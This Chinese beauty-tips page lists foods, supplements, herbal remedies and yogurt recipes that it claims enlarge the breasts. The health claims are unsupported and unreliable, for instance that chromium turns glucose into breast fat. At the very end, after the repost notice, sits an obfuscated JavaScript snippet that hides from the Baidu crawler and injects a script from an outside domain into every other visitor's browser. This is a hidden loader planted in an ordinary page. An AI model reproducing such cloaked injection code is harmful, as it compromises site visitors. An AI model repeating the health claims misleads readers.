當(dāng)前位置:首頁 > 美容 > 豐胸美體 > 正文

豐胸食物 讓你波濤洶涌

2016-02-12 10:03:24  來源:360常識(shí)網(wǎng)   熱度:138
導(dǎo)語:想要擁有豐滿的胸部,當(dāng)然飲食是最好的豐胸方法,但是如果在攝取的食物中不吃油,豐胸就有點(diǎn)難度了,下面看看豐胸的食物都有哪些,酸奶也是可以豐胸的。

豐胸食物 讓你波濤洶涌

豐胸食物 讓你波濤洶涌

豐胸物質(zhì)很重要

飲食中的蛋白質(zhì)、維生素及微量元素等物質(zhì),可以促進(jìn)乳房的正常發(fā)育。尤其是在青春期時(shí),應(yīng)攝入足夠量的上述營養(yǎng)物質(zhì),以保證乳房能發(fā)育得完全而漂亮。但要少吃精米、精面,多吃粗糧、玉米、豆類等雜糧。

豐胸食品

豆類因?yàn)橹参锓N子的衣膜部分有促進(jìn)乳腺發(fā)育的作用,因此具有豐胸作用,富含磷脂的花生,或是含豐富蛋白質(zhì)的杏仁、核桃、芝麻等,都是良好的豐胸食物;蛋類、牛奶等含有b族維生素,有助于激素的合成,當(dāng)然,海參、豬腳、蹄筋等富含膠原蛋白質(zhì)的食物,也是不錯(cuò)的豐胸圣品。

干果類食物,如芝麻、南瓜子、西瓜子、葡萄干等富含多種維生素及微量元素、纖維素、蛋白質(zhì)和不飽和脂肪酸,營養(yǎng)價(jià)值高,有豐胸作用。

要補(bǔ)充鋅、鉻

因?yàn)殇\是促進(jìn)人體生長發(fā)育的重要元素,特別是促進(jìn)性征的產(chǎn)生、性機(jī)能的形成。鉻元素也是一種活性很強(qiáng)的物質(zhì),它能促進(jìn)葡萄糖的吸收并在乳房等部位轉(zhuǎn)化為脂肪,促使乳房的豐滿、臀部的圓潤。

其他豐胸產(chǎn)品

富有膠質(zhì)的食物:如海參、豬腳、蹄筋等,也是豐胸圣品。

食補(bǔ)藥膳:在發(fā)育期如氣血不足,可服食中藥歸脾湯加入加味四物湯調(diào)補(bǔ)氣血。也可以食用當(dāng)歸參燉母雞來補(bǔ)血壯體,幫助胸部發(fā)育

酸奶豐胸原理

1、 酸奶中含有大量的活性乳酸菌,可以有效調(diào)整腸道的菌群平衡,產(chǎn)生大量的短鏈脂肪酸,促進(jìn)腸道蠕動(dòng)及菌體大量生長改變滲透壓而防止便秘。

2、通過抑制腐生菌在腸道的生長,抑制了腐敗所產(chǎn)生的毒素,加快新陳代謝。

3、酸奶還可以抑制有害菌對(duì)腸道的入侵,能夠產(chǎn)生一些增強(qiáng)免疫功能的物質(zhì),提高人體免疫,特別適合節(jié)食減肥的女性食用。

酸奶豐胸秘方一:酸奶+煉乳+木瓜

材料:酸奶200ml,煉乳2湯匙,青木瓜500克

做法:將青木瓜洗凈后,削皮、切成小塊,放入榨汁機(jī)中榨汁。然后將酸奶和煉乳放入青木瓜汁中,拌勻即可。如果放入到冰箱中冰凍,口感會(huì)更好。

豐胸方法:餐間做餐點(diǎn)食用,也可以用來代替晚餐,酸奶和木瓜的結(jié)合,可以刺激女性荷爾蒙的分泌,促進(jìn)胸部發(fā)育,達(dá)到減肥豐胸的完美效果。

酸奶豐胸秘方二:酸奶+煉乳

材料:酸奶250ml,煉乳3湯匙

做法:將核桃去皮取仁,和酸奶、煉乳一起放入榨汁機(jī)中榨汁即可食用。如果放入冰箱冰凍,則口感更好。

豐胸方法: 可以當(dāng)做餐點(diǎn)食用,也可以將其當(dāng)做晚餐。

酸奶豐胸秘方三:酸奶+煉乳+按摩

材料:酸奶250ml,煉乳3湯匙

做法:將煉乳加入到酸奶中拌勻,飲用一部分。將剩下的一部分,在晚上沐浴后,把它涂在胸部,然后按順時(shí)針和逆時(shí)針交替按摩胸部。

以上就是推薦的豐胸食物,在飲食的同時(shí)可以試試酸奶豐胸,可能讓豐胸效果更好。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}